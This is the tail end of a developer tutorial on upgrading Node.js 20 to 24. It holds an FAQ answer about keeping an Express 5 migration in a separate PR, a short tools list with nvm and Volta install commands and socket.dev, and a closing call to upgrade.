Q: Should I migrate Express 4 → 5 at the same time as Node? No — keep them as separate PRs. Upgrading Node to 24 doesn't require an Express upgrade, and each migration is easier to verify and roll back on its own.


12. Further Reading

Official documentation

Articles & deep dives

Tools

  • 🛠️ nvmnvm install 24 && nvm use 24

  • 🛠️ Voltavolta install node@24

  • 🛠️ socket.dev — supply chain monitoring; pairs well with the Permission Model and the npm v12 allowScripts change


If your team is still running Node.js 20 — which reached end-of-life in April 2026 — upgrade to Node.js 24 today. The migration is well-documented, the breaking changes are manageable, and the benefits start compounding on day one.


Originally published on ZyVOP

💡 For more articles like this, subscribe to the ZyVOP newsletter!

Source: dev.to

arrow_back Back to Tutorials